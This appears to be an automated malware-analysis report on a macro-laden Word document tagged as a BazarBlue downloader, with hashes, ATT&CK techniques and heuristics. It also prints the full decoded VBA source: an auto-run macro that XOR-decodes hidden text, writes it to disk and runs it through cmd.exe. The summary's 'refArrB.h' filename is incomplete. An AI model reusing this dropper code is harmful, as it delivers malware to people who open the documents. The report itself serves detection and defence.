Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 5dfc5eed13582377…

MALICIOUS

Office (OOXML)

49.3 KB Created: 2021-06-30 10:15:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-02
MD5: ae17389c50df966455179ec5b5c3c75a SHA-1: 2cad1ba2af6be8cb065efabf355bd94776365e08 SHA-256: 5dfc5eed13582377319f203c946461bab71b466119d02b4fd3c3410a60ea2a24
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The Document_Open macro triggers the execution of cmd.exe via the Shell() function, which is used to download a second-stage payload. The script reconstructs the command 'c:\windows\system32\cmd /c ' and the output filename 'c:\programdata\refArrB.h', indicating an attempt to download and save a payload. The ClamAV detection name 'Doc.Downloader.BazarBlue09212-9898946-0' further supports this downloader functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.BazarBlue09212-9898946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.BazarBlue09212-9898946-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1687 bytes
SHA-256: aa943c8d16825152c388d5811b43edb58865d274b20a5dd713daef4d3d0838e7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
                        Sub Document_Open()
                        If Len("countBoolean") > 0 Then
                                main
                        End If
                        End Sub

Attribute VB_Name = "cHLib"
Function curBoolButt()
curBoolButt = "!"
End Function
Function btnTableReq(iLink, delWindow)
btnTableReq = Split(iLink, delWindow)
End Function
Function cntBefore(iLink)
Shell collectionCurrency("c:\windows\system32\cmd /c ")
End Function
Function collectionCurrency(iLink, Optional lName = "c:\programdata\refArrB.h", Optional valMainObj = "t", Optional procConst = "a")
collectionCurrency = iLink & lName & "" & valMainObj & procConst
End Function
Function selBoxCurr(swapRem As Variant)
Dim pointBoxByte As String
pointBoxByte = vbNullChar
booleanStructTable = UBound(swapRem)
For oCnt = 1 To booleanStructTable
pointBoxByte = pointBoxByte & Chr(swapRem(oCnt) Xor 110)
Next
selBoxCurr = pointBoxByte
End Function

Attribute VB_Name = "copyRef"
Sub main()
listValButt
repoSingle = cntBefore("")
End Sub

Attribute VB_Name = "ctrlLinkCls"
Sub listValButt()
Open collectionCurrency("") For Output As #1
Print #1, selBoxCurr(leftIndexCls)
Close #1
End Sub
Function optionSel(vHeader)
optionSel = btnTableReq(vHeader, curBoolButt)
End Function
Function leftIndexCls()
leftIndexCls = optionSel(ActiveDocument.Content)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17920 bytes
SHA-256: 7620ada5afd33dc5435474ce0226b52323818eba9ab2073c148e26ab2aac336c

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